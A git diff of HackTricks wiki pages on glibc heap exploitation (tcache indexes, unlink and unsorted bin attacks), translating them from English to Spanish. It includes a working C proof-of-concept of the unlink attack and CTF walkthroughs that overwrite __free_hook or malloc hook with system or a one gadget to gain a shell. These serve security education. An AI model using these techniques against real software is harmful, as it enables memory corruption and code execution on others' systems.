**doble liberado**. El mismo chunk se libera dos veces, por lo que dentro del Tcache el chunk apuntará a sí mismo. Luego, se asigna, su puntero FD se modifica para apuntar al **free hook** y luego se asigna nuevamente, por lo que el siguiente chunk en la lista estará en el free hook. Luego, esto también se asigna y es posible escribir la dirección de `system` aquí, por lo que cuando se libera un malloc que contiene `"/bin/sh"` obtenemos un shell. - CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html) - - The main vuln here is the capacity to `free` any address in the heap by indicating its offset - - **Tcache indexes attack**: It's possible to allocate and free a chunk of a size that when stored inside the tcache chunk (the chunk with the info of the tcache bins) will generate an **address with the value 0x100**. This is because the tcache stores the amount of chunks on each bin in different bytes, therefore one chunk in one specific index generates the value 0x100. - - Then, this value looks like there is a chunk of size 0x100. Allowing to abuse it by `free` this address. This will **add that address to the index of chunks of size 0x100 in the tcache**. - - Then, **allocating** a chunk of size **0x100**, the previous address will be returned as a chunk, allowing to overwrite other tcache indexes.\ - For example putting the address of malloc hook in one of them and allocating a chunk of the size of that index will grant a chunk in calloc hook, which allows for writing a one gadget to get a s shell. +- La principal vulnerabilidad aquí es la capacidad de `free` cualquier dirección en el heap indicando su desplazamiento. +- **Ataque de índices Tcache**: Es posible asignar y liberar un chunk de un tamaño que, cuando se almacena dentro del chunk tcache (el chunk con la información de los bins de tcache), generará una **dirección con el valor 0x100**. Esto se debe a que el tcache almacena la cantidad de chunks en cada bin en diferentes bytes, por lo tanto, un chunk en un índice específico genera el valor 0x100. +- Luego, este valor parece que hay un chunk de tamaño 0x100. Permitiendo abusar de él al `free` esta dirección. Esto **agregará esa dirección al índice de chunks de tamaño 0x100 en el tcache**. +- Luego, **asignando** un chunk de tamaño **0x100**, la dirección anterior será devuelta como un chunk, permitiendo sobrescribir otros índices de tcache.\ +Por ejemplo, poniendo la dirección de malloc hook en uno de ellos y asignando un chunk del tamaño de ese índice otorgará un chunk en calloc hook, lo que permite escribir un one gadget para obtener un shell. - CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html) - - Same vulnerability as before with one extra restriction - - **Tcache indexes attack**: Similar attack to the previous one but using less steps by **freeing the chunk that contains the tcache info** so it's address is added to the tcache index of its size so it's possible to allocate that size and get the tcache chunk info as a chunk, which allows to add free hook as the address of one index, alloc it, and write a one gadget on it. +- La misma vulnerabilidad que antes con una restricción adicional. +- **Ataque de índices Tcache**: Ataque similar al anterior pero utilizando menos pasos al **liberar el chunk que contiene la información de tcache** para que su dirección se agregue al índice de tcache de su tamaño, por lo que es posible asignar ese tamaño y obtener la información del chunk de tcache como un chunk, lo que permite agregar el free hook como la dirección de un índice, asignarlo y escribir un one gadget en él. - [**Math Door. HTB Cyber Apocalypse CTF 2023**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/math-door/) - - **Write After Free** to add a number to the `fd` pointer. - - A lot of **heap feng-shui** is needed in this challenge. The writeup shows how **controlling the head of the Tcache** free-list is pretty handy. - - **Glibc leak** through `stdout` (FSOP). - - **Tcache poisoning** to get an arbitrary write primitive. +- **Escritura después de liberar** para agregar un número al puntero `fd`. +- Se necesita mucho **heap feng-shui** en este desafío. El informe muestra cómo **controlar la cabeza de la lista libre de Tcache** es bastante útil. +- **Fuga de Glibc** a través de `stdout` (FSOP). +- **Envenenamiento de Tcache** para obtener un primitivo de escritura arbitraria. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/unlink-attack.md b/src/binary-exploitation/libc-heap/unlink-attack.md index 959ff36db..7a6d5b1cb 100644 --- a/src/binary-exploitation/libc-heap/unlink-attack.md +++ b/src/binary-exploitation/libc-heap/unlink-attack.md @@ -2,16 +2,15 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -When this attack was discovered it mostly allowed a WWW (Write What Where), however, some **checks were added** making the new version of the attack more interesting more more complex and **useless**. +Cuando se descubrió este ataque, principalmente permitía un WWW (Write What Where), sin embargo, se **agregaron algunas verificaciones** que hicieron que la nueva versión del ataque fuera más interesante, más compleja y **inútil**. -### Code Example: +### Ejemplo de Código:
-Code - +Código ```c #include #include @@ -21,109 +20,108 @@ When this attack was discovered it mostly allowed a WWW (Write What Where), howe // Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work struct chunk_structure { - size_t prev_size; - size_t size; - struct chunk_structure *fd; - struct chunk_structure *bk; - char buf[10]; // padding +size_t prev_size; +size_t size; +struct chunk_structure *fd; +struct chunk_structure *bk; +char buf[10]; // padding }; int main() { - unsigned long long *chunk1, *chunk2; - struct chunk_structure *fake_chunk, *chunk2_hdr; - char data[20]; +unsigned long long *chunk1, *chunk2; +struct chunk_structure *fake_chunk, *chunk2_hdr; +char data[20]; - // First grab two chunks (non fast) - chunk1 = malloc(0x8000); - chunk2 = malloc(0x8000); - printf("Stack pointer to chunk1: %p\n", &chunk1); - printf("Chunk1: %p\n", chunk1); - printf("Chunk2: %p\n", chunk2); +// First grab two chunks (non fast) +chunk1 = malloc(0x8000); +chunk2 = malloc(0x8000); +printf("Stack pointer to chunk1: %p\n", &chunk1); +printf("Chunk1: %p\n", chunk1); +printf("Chunk2: %p\n", chunk2); - // Assuming attacker has control over chunk1's contents - // Overflow the heap, override chunk2's header +// Assuming attacker has control over chunk1's contents +// Overflow the heap, override chunk2's header - // First forge a fake chunk starting at chunk1 - // Need to setup fd and bk pointers to pass the unlink security check - fake_chunk = (struct chunk_structure *)chunk1; - fake_chunk->size = 0x8000; - fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P - fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P +// First forge a fake chunk starting at chunk1 +// Need to setup fd and bk pointers to pass the unlink security check +fake_chunk = (struct chunk_structure *)chunk1; +fake_chunk->size = 0x8000; +fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P +fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P - // Next modify the header of chunk2 to pass all security checks - chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); - chunk2_hdr->prev_size = 0x8000; // chunk1's data region size - chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit +// Next modify the header of chunk2 to pass all security checks +chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); +chunk2_hdr->prev_size = 0x8000; // chunk1's data region size +chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit - // Now, when chunk2 is freed, attacker's fake chunk is 'unlinked' - // This results in chunk1 pointer pointing to chunk1 - 3 - // i.e. chunk1[3] now contains chunk1 itself. - // We then make chunk1 point to some victim's data - free(chunk2); - printf("Chunk1: %p\n", chunk1); - printf("Chunk1[3]: %x\n", chunk1[3]); +// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked' +// This results in chunk1 pointer pointing to chunk1 - 3 +// i.e. chunk1[3] now contains chunk1 itself. +// We then make chunk1 point to some victim's data +free(chunk2); +printf("Chunk1: %p\n", chunk1); +printf("Chunk1[3]: %x\n", chunk1[3]); - chunk1[3] = (unsigned long long)data; +chunk1[3] = (unsigned long long)data; - strcpy(data, "Victim's data"); +strcpy(data, "Victim's data"); - // Overwrite victim's data using chunk1 - chunk1[0] = 0x002164656b636168LL; +// Overwrite victim's data using chunk1 +chunk1[0] = 0x002164656b636168LL; - printf("%s\n", data); +printf("%s\n", data); - return 0; +return 0; } ``` -
-- Attack doesn't work if tcaches are used (after 2.26) +- El ataque no funciona si se utilizan tcaches (después de 2.26) -### Goal +### Objetivo -This attack allows to **change a pointer to a chunk to point 3 addresses before of itself**. If this new location (surroundings of where the pointer was located) has interesting stuff, like other controllable allocations / stack..., it's possible to read/overwrite them to cause a bigger harm. +Este ataque permite **cambiar un puntero a un chunk para apuntar 3 direcciones antes de sí mismo**. Si esta nueva ubicación (alrededores de donde estaba el puntero) tiene cosas interesantes, como otras asignaciones controlables / stack..., es posible leer/sobrescribirlas para causar un daño mayor. -- If this pointer was located in the stack, because it's now pointing 3 address before itself and the user potentially can read it and modify it, it will be possible to leak sensitive info from the stack or even modify the return address (maybe) without touching the canary -- In order CTF examples, this pointer is located in an array of pointers to other allocations, therefore, making it point 3 address before and being able to read and write it, it's possible to make the other pointers point to other addresses.\ - As potentially the user can read/write also the other allocations, he can leak information or overwrite new address in arbitrary locations (like in the GOT). +- Si este puntero estaba ubicado en la pila, porque ahora apunta 3 direcciones antes de sí mismo y el usuario potencialmente puede leerlo y modificarlo, será posible filtrar información sensible de la pila o incluso modificar la dirección de retorno (quizás) sin tocar el canario. +- En ejemplos de CTF, este puntero está ubicado en un array de punteros a otras asignaciones, por lo tanto, al hacer que apunte 3 direcciones antes y poder leer y escribir en él, es posible hacer que los otros punteros apunten a otras direcciones.\ +Como potencialmente el usuario puede leer/escribir también las otras asignaciones, puede filtrar información o sobrescribir nuevas direcciones en ubicaciones arbitrarias (como en el GOT). -### Requirements +### Requisitos -- Some control in a memory (e.g. stack) to create a couple of chunks giving values to some of the attributes. -- Stack leak in order to set the pointers of the fake chunk. +- Algún control en una memoria (por ejemplo, pila) para crear un par de chunks dando valores a algunos de los atributos. +- Fuga de pila para poder establecer los punteros del chunk falso. -### Attack +### Ataque -- There are a couple of chunks (chunk1 and chunk2) -- The attacker controls the content of chunk1 and the headers of chunk2. -- In chunk1 the attacker creates the structure of a fake chunk: - - To bypass protections he makes sure that the field `size` is correct to avoid the error: `corrupted size vs. prev_size while consolidating` - - and fields `fd` and `bk` of the fake chunk are pointing to where chunk1 pointer is stored in the with offsets of -3 and -2 respectively so `fake_chunk->fd->bk` and `fake_chunk->bk->fd` points to position in memory (stack) where the real chunk1 address is located: +- Hay un par de chunks (chunk1 y chunk2) +- El atacante controla el contenido de chunk1 y los encabezados de chunk2. +- En chunk1, el atacante crea la estructura de un chunk falso: +- Para eludir las protecciones, se asegura de que el campo `size` sea correcto para evitar el error: `corrupted size vs. prev_size while consolidating` +- y los campos `fd` y `bk` del chunk falso apuntan a donde se almacena el puntero de chunk1 con desplazamientos de -3 y -2 respectivamente, por lo que `fake_chunk->fd->bk` y `fake_chunk->bk->fd` apuntan a la posición en memoria (pila) donde se encuentra la dirección real de chunk1:

https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit

-- The headers of the chunk2 are modified to indicate that the previous chunk is not used and that the size is the size of the fake chunk contained. -- When the second chunk is freed then this fake chunk is unlinked happening: - - `fake_chunk->fd->bk` = `fake_chunk->bk` - - `fake_chunk->bk->fd` = `fake_chunk->fd` -- Previously it was made that `fake_chunk->fd->bk` and `fake_chunk->bk->fd` point to the same place (the location in the stack where `chunk1` was stored, so it was a valid linked list). As **both are pointing to the same location** only the last one (`fake_chunk->bk->fd = fake_chunk->fd`) will take **effect**. -- This will **overwrite the pointer to chunk1 in the stack to the address (or bytes) stored 3 addresses before in the stack**. - - Therefore, if an attacker could control the content of the chunk1 again, he will be able to **write inside the stack** being able to potentially overwrite the return address skipping the canary and modify the values and points of local variables. Even modifying again the address of chunk1 stored in the stack to a different location where if the attacker could control again the content of chunk1 he will be able to write anywhere. - - Note that this was possible because the **addresses are stored in the stack**. The risk and exploitation might depend on **where are the addresses to the fake chunk being stored**. +- Los encabezados de chunk2 se modifican para indicar que el chunk anterior no está en uso y que el tamaño es el tamaño del chunk falso contenido. +- Cuando se libera el segundo chunk, este chunk falso se desvincula ocurriendo: +- `fake_chunk->fd->bk` = `fake_chunk->bk` +- `fake_chunk->bk->fd` = `fake_chunk->fd` +- Anteriormente se hizo que `fake_chunk->fd->bk` y `fake_chunk->bk->fd` apuntaran al mismo lugar (la ubicación en la pila donde se almacenó `chunk1`, por lo que era una lista enlazada válida). Como **ambos apuntan a la misma ubicación**, solo el último (`fake_chunk->bk->fd = fake_chunk->fd`) tendrá **efecto**. +- Esto **sobrescribirá el puntero a chunk1 en la pila con la dirección (o bytes) almacenados 3 direcciones antes en la pila**. +- Por lo tanto, si un atacante pudiera controlar nuevamente el contenido de chunk1, podrá **escribir dentro de la pila**, pudiendo potencialmente sobrescribir la dirección de retorno saltándose el canario y modificar los valores y puntos de las variables locales. Incluso modificando nuevamente la dirección de chunk1 almacenada en la pila a una ubicación diferente donde, si el atacante pudiera controlar nuevamente el contenido de chunk1, podrá escribir en cualquier lugar. +- Tenga en cuenta que esto fue posible porque las **direcciones se almacenan en la pila**. El riesgo y la explotación pueden depender de **dónde se almacenan las direcciones del chunk falso**.

https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit

-## References +## Referencias - [https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit) -- Although it would be weird to find an unlink attack even in a CTF here you have some writeups where this attack was used: - - CTF example: [https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html) - - In this example, instead of the stack there is an array of malloc'ed addresses. The unlink attack is performed to be able to allocate a chunk here, therefore being able to control the pointers of the array of malloc'ed addresses. Then, there is another functionality that allows to modify the content of chunks in these addresses, which allows to point addresses to the GOT, modify function addresses to egt leaks and RCE. - - Another CTF example: [https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html) - - Just like in the previous example, there is an array of addresses of allocations. It's possible to perform an unlink attack to make the address to the first allocation point a few possitions before starting the array and the overwrite this allocation in the new position. Therefore, it's possible to overwrite pointers of other allocations to point to GOT of atoi, print it to get a libc leak, and then overwrite atoi GOT with the address to a one gadget. - - CTF example with custom malloc and free functions that abuse a vuln very similar to the unlink attack: [https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html) - - There is an overflow that allows to control the FD and BK pointers of custom malloc that will be (custom) freed. Moreover, the heap has the exec bit, so it's possible to leak a heap address and point a function from the GOT to a heap chunk with a shellcode to execute. +- Aunque sería extraño encontrar un ataque de desvinculación incluso en un CTF, aquí tienes algunos informes donde se utilizó este ataque: +- Ejemplo de CTF: [https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html) +- En este ejemplo, en lugar de la pila, hay un array de direcciones malloc'ed. Se realiza el ataque de desvinculación para poder asignar un chunk aquí, por lo tanto, pudiendo controlar los punteros del array de direcciones malloc'ed. Luego, hay otra funcionalidad que permite modificar el contenido de los chunks en estas direcciones, lo que permite apuntar direcciones al GOT, modificar direcciones de funciones para obtener fugas y RCE. +- Otro ejemplo de CTF: [https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html) +- Al igual que en el ejemplo anterior, hay un array de direcciones de asignaciones. Es posible realizar un ataque de desvinculación para hacer que la dirección de la primera asignación apunte a unas pocas posiciones antes de comenzar el array y sobrescribir esta asignación en la nueva posición. Por lo tanto, es posible sobrescribir punteros de otras asignaciones para apuntar al GOT de atoi, imprimirlo para obtener una fuga de libc y luego sobrescribir el GOT de atoi con la dirección de un gadget. +- Ejemplo de CTF con funciones de malloc y free personalizadas que abusan de una vulnerabilidad muy similar al ataque de desvinculación: [https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html) +- Hay un desbordamiento que permite controlar los punteros FD y BK de malloc personalizado que serán (personalizados) liberados. Además, el heap tiene el bit de ejecución, por lo que es posible filtrar una dirección de heap y apuntar una función del GOT a un chunk de heap con un shellcode para ejecutar. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md index 65d509c48..0920cdde4 100644 --- a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md +++ b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md @@ -1,73 +1,73 @@ -# Unsorted Bin Attack +# Ataque de Unsorted Bin {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -For more information about what is an unsorted bin check this page: +Para más información sobre qué es un unsorted bin, consulta esta página: {{#ref}} bins-and-memory-allocations.md {{#endref}} -Unsorted lists are able to write the address to `unsorted_chunks (av)` in the `bk` address of the chunk. Therefore, if an attacker can **modify the address of the `bk` pointer** in a chunk inside the unsorted bin, he could be able to **write that address in an arbitrary address** which could be helpful to leak a Glibc addresses or bypass some defense. +Las listas no ordenadas pueden escribir la dirección en `unsorted_chunks (av)` en la dirección `bk` del chunk. Por lo tanto, si un atacante puede **modificar la dirección del puntero `bk`** en un chunk dentro del unsorted bin, podría **escribir esa dirección en una dirección arbitraria**, lo que podría ser útil para filtrar direcciones de Glibc o eludir alguna defensa. -So, basically, this attack allows to **set a big number at an arbitrary address**. This big number is an address, which could be a heap address or a Glibc address. A typical target is **`global_max_fast`** to allow to create fast bin bins with bigger sizes (and pass from an unsorted bin atack to a fast bin attack). +Así que, básicamente, este ataque permite **establecer un número grande en una dirección arbitraria**. Este número grande es una dirección, que podría ser una dirección de heap o una dirección de Glibc. Un objetivo típico es **`global_max_fast`** para permitir crear bins de fast bin con tamaños más grandes (y pasar de un ataque de unsorted bin a un ataque de fast bin). > [!TIP] -> T> aking a look to the example provided in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) and using 0x4000 and 0x5000 instead of 0x400 and 0x500 as chunk sizes (to avoid Tcache) it's possible to see that **nowadays** the error **`malloc(): unsorted double linked list corrupted`** is triggered. +> E> chando un vistazo al ejemplo proporcionado en [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) y usando 0x4000 y 0x5000 en lugar de 0x400 y 0x500 como tamaños de chunk (para evitar Tcache), es posible ver que **hoy en día** el error **`malloc(): unsorted double linked list corrupted`** se activa. > -> Therefore, this unsorted bin attack now (among other checks) also requires to be able to fix the doubled linked list so this is bypassed `victim->bk->fd == victim` or not `victim->fd == av (arena)`, which means that the address where we want to write must have the address of the fake chunk in its `fd` position and that the fake chunk `fd` is pointing to the arena. +> Por lo tanto, este ataque de unsorted bin ahora (entre otras verificaciones) también requiere poder arreglar la lista doblemente enlazada para que esto se eluda `victim->bk->fd == victim` o no `victim->fd == av (arena)`, lo que significa que la dirección donde queremos escribir debe tener la dirección del chunk falso en su posición `fd` y que el `fd` del chunk falso apunta a la arena. > [!CAUTION] -> Note that this attack corrupts the unsorted bin (hence small and large too). So we can only **use allocations from the fast bin now** (a more complex program might do other allocations and crash), and to trigger this we must **allocate the same size or the program will crash.** +> Ten en cuenta que este ataque corrompe el unsorted bin (por lo tanto, también pequeños y grandes). Así que solo podemos **usar asignaciones del fast bin ahora** (un programa más complejo podría hacer otras asignaciones y fallar), y para activar esto debemos **asignar el mismo tamaño o el programa fallará.** > -> Note that overwriting **`global_max_fast`** might help in this case trusting that the fast bin will be able to take care of all the other allocations until the exploit is completed. +> Ten en cuenta que sobrescribir **`global_max_fast`** podría ayudar en este caso confiando en que el fast bin podrá encargarse de todas las otras asignaciones hasta que se complete el exploit. -The code from [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) explains it very well, although if you modify the mallocs to allocate memory big enough so don't end in a Tcache you can see that the previously mentioned error appears preventing this technique: **`malloc(): unsorted double linked list corrupted`** +El código de [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) lo explica muy bien, aunque si modificas los mallocs para asignar memoria lo suficientemente grande para no terminar en un Tcache, puedes ver que el error mencionado anteriormente aparece impidiendo esta técnica: **`malloc(): unsorted double linked list corrupted`** -## Unsorted Bin Infoleak Attack +## Ataque de Infoleak de Unsorted Bin -This is actually a very basic concept. The chunks in the unsorted bin are going to have pointers. The first chunk in the unsorted bin will actually have the **`fd`** and the **`bk`** links **pointing to a part of the main arena (Glibc)**.\ -Therefore, if you can **put a chunk inside a unsorted bin and read it** (use after free) or **allocate it again without overwriting at least 1 of the pointers** to then **read** it, you can have a **Glibc info leak**. +Este es en realidad un concepto muy básico. Los chunks en el unsorted bin van a tener punteros. El primer chunk en el unsorted bin tendrá en realidad los enlaces **`fd`** y **`bk`** **apuntando a una parte de la arena principal (Glibc)**.\ +Por lo tanto, si puedes **poner un chunk dentro de un unsorted bin y leerlo** (uso después de liberar) o **asignarlo de nuevo sin sobrescribir al menos 1 de los punteros** para luego **leerlo**, puedes tener un **infoleak de Glibc**. -A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), was to abuse a 4 chunks structure (A, B, C and D - D is only to prevent consolidation with top chunk) so a null byte overflow in B was used to make C indicate that B was unused. Also, in B the `prev_size` data was modified so the size instead of being the size of B was A+B.\ -Then C was deallocated, and consolidated with A+B (but B was still in used). A new chunk of size A was allocated and then the libc leaked addresses was written into B from where they were leaked. +Un [**ataque similar utilizado en este informe**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) fue abusar de una estructura de 4 chunks (A, B, C y D - D es solo para prevenir la consolidación con el chunk superior) así que se utilizó un desbordamiento de byte nulo en B para hacer que C indicara que B no estaba en uso. Además, en B se modificó el dato `prev_size` para que el tamaño en lugar de ser el tamaño de B fuera A+B.\ +Luego, C fue desalojado y consolidado con A+B (pero B aún estaba en uso). Se asignó un nuevo chunk de tamaño A y luego las direcciones de libc filtradas se escribieron en B desde donde fueron filtradas. -## References & Other examples +## Referencias y Otros Ejemplos - [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap) - - The goal is to overwrite a global variable with a value greater than 4869 so it's possible to get the flag and PIE is not enabled. - - It's possible to generate chunks of arbitrary sizes and there is a heap overflow with the desired size. - - The attack starts creating 3 chunks: chunk0 to abuse the overflow, chunk1 to be overflowed and chunk2 so top chunk doesn't consolidate the previous ones. - - Then, chunk1 is freed and chunk0 is overflowed to the `bk` pointer of chunk1 points to: `bk = magic - 0x10` - - Then, chunk3 is allocated with the same size as chunk1, which will trigger the unsorted bin attack and will modify the value of the global variable, making possible to get the flag. +- El objetivo es sobrescribir una variable global con un valor mayor que 4869 para que sea posible obtener la bandera y PIE no está habilitado. +- Es posible generar chunks de tamaños arbitrarios y hay un desbordamiento de heap con el tamaño deseado. +- El ataque comienza creando 3 chunks: chunk0 para abusar del desbordamiento, chunk1 para ser desbordado y chunk2 para que el chunk superior no consolide los anteriores. +- Luego, chunk1 se libera y chunk0 se desborda para que el puntero `bk` de chunk1 apunte a: `bk = magic - 0x10` +- Luego, chunk3 se asigna con el mismo tamaño que chunk1, lo que activará el ataque de unsorted bin y modificará el valor de la variable global, haciendo posible obtener la bandera. - [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html) - - The merge function is vulnerable because if both indexes passed are the same one it'll realloc on it and then free it but returning a pointer to that freed region that can be used. - - Therefore, **2 chunks are created**: **chunk0** which will be merged with itself and chunk1 to prevent consolidating with the top chunk. Then, the **merge function is called with chunk0** twice which will cause a use after free. - - Then, the **`view`** function is called with index 2 (which the index of the use after free chunk), which will **leak a libc address**. - - As the binary has protections to only malloc sizes bigger than **`global_max_fast`** so no fastbin is used, an unsorted bin attack is going to be used to overwrite the global variable `global_max_fast`. - - Then, it's possible to call the edit function with the index 2 (the use after free pointer) and overwrite the `bk` pointer to point to `p64(global_max_fast-0x10)`. Then, creating a new chunk will use the previously compromised free address (0x20) will **trigger the unsorted bin attack** overwriting the `global_max_fast` which a very big value, allowing now to create chunks in fast bins. - - Now a **fast bin attack** is performed: - - First of all it's discovered that it's possible to work with fast **chunks of size 200** in the **`__free_hook`** location: - -
gef➤  p &__free_hook
-      $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
-      gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
-      0x7ff1e9e6074f: 0x0000000000000000      0x0000000000000200
-      0x7ff1e9e6075f: 0x0000000000000000      0x0000000000000000
-      0x7ff1e9e6076f <list_all_lock+15>:      0x0000000000000000      0x0000000000000000
-      0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
-      
- - If we manage to get a fast chunk of size 0x200 in this location, it'll be possible to overwrite a function pointer that will be executed - - For this, a new chunk of size `0xfc` is created and the merged function is called with that pointer twice, this way we obtain a pointer to a freed chunk of size `0xfc*2 = 0x1f8` in the fast bin. - - Then, the edit function is called in this chunk to modify the **`fd`** address of this fast bin to point to the previous **`__free_hook`** function. - - Then, a chunk with size `0x1f8` is created to retrieve from the fast bin the previous useless chunk so another chunk of size `0x1f8` is created to get a fast bin chunk in the **`__free_hook`** which is overwritten with the address of **`system`** function. - - And finally a chunk containing the string `/bin/sh\x00` is freed calling the delete function, triggering the **`__free_hook`** function which points to system with `/bin/sh\x00` as parameter. - - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html) - - Another example of abusing a 1B overflow to consolidate chunks in the unsorted bin and get a libc infoleak and then perform a fast bin attack to overwrite malloc hook with a one gadget address +- La función de fusión es vulnerable porque si ambos índices pasados son el mismo, se reasignará sobre él y luego se liberará, pero devolviendo un puntero a esa región liberada que se puede usar. +- Por lo tanto, **se crean 2 chunks**: **chunk0** que se fusionará consigo mismo y chunk1 para evitar consolidar con el chunk superior. Luego, se **llama a la función de fusión con chunk0** dos veces, lo que causará un uso después de liberar. +- Luego, se llama a la función **`view`** con el índice 2 (que es el índice del chunk de uso después de liberar), lo que **filtrará una dirección de libc**. +- Como el binario tiene protecciones para solo malloc tamaños mayores que **`global_max_fast`**, por lo que no se usa fastbin, se va a usar un ataque de unsorted bin para sobrescribir la variable global `global_max_fast`. +- Luego, es posible llamar a la función de edición con el índice 2 (el puntero de uso después de liberar) y sobrescribir el puntero `bk` para que apunte a `p64(global_max_fast-0x10)`. Luego, crear un nuevo chunk utilizará la dirección liberada previamente comprometida (0x20) que **activará el ataque de unsorted bin** sobrescribiendo el `global_max_fast` con un valor muy grande, permitiendo ahora crear chunks en fast bins. +- Ahora se realiza un **ataque de fast bin**: +- Primero, se descubre que es posible trabajar con fast **chunks de tamaño 200** en la ubicación de **`__free_hook`**: +-
gef➤  p &__free_hook
+$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
+gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
+0x7ff1e9e6074f: 0x0000000000000000      0x0000000000000200
+0x7ff1e9e6075f: 0x0000000000000000      0x0000000000000000
+0x7ff1e9e6076f <list_all_lock+15>:      0x0000000000000000      0x0000000000000000
+0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
+
+- Si logramos obtener un chunk rápido de tamaño 0x200 en esta ubicación, será posible sobrescribir un puntero de función que se ejecutará. +- Para esto, se crea un nuevo chunk de tamaño `0xfc` y se llama a la función de fusión con ese puntero dos veces, de esta manera obtenemos un puntero a un chunk liberado de tamaño `0xfc*2 = 0x1f8` en el fast bin. +- Luego, se llama a la función de edición en este chunk para modificar la dirección **`fd`** de este fast bin para que apunte a la función anterior **`__free_hook`**. +- Luego, se crea un chunk de tamaño `0x1f8` para recuperar del fast bin el chunk inútil anterior, por lo que se crea otro chunk de tamaño `0x1f8` para obtener un chunk de fast bin en el **`__free_hook`** que se sobrescribe con la dirección de la función **`system`**. +- Y finalmente, se libera un chunk que contiene la cadena `/bin/sh\x00` llamando a la función de eliminación, activando la función **`__free_hook`** que apunta a system con `/bin/sh\x00` como parámetro. +- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html) +- Otro ejemplo de abusar de un desbordamiento de 1B para consolidar chunks en el unsorted bin y obtener un infoleak de libc y luego realizar un ataque de fast bin para sobrescribir malloc hook con una dirección de one gadget. - [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/) - - We can only allocate chunks of size greater than `0x100`. - - Overwrite `global_max_fast` using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits). - - Fast Bin attack to modify the a global array of chunks. This gives an arbitrary read/write primitive, which allows to modify the GOT and set some function to point to `system`. +- Solo podemos asignar chunks de tamaño mayor que `0x100`. +- Sobrescribir `global_max_fast` usando un ataque de Unsorted Bin (funciona 1 de cada 16 veces debido a ASLR, porque necesitamos modificar 12 bits, pero debemos modificar 16 bits). +- Ataque de Fast Bin para modificar un arreglo global de chunks. Esto proporciona una primitiva de lectura/escritura arbitraria, que permite modificar el GOT y hacer que algunas funciones apunten a `system`. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/use-after-free/README.md 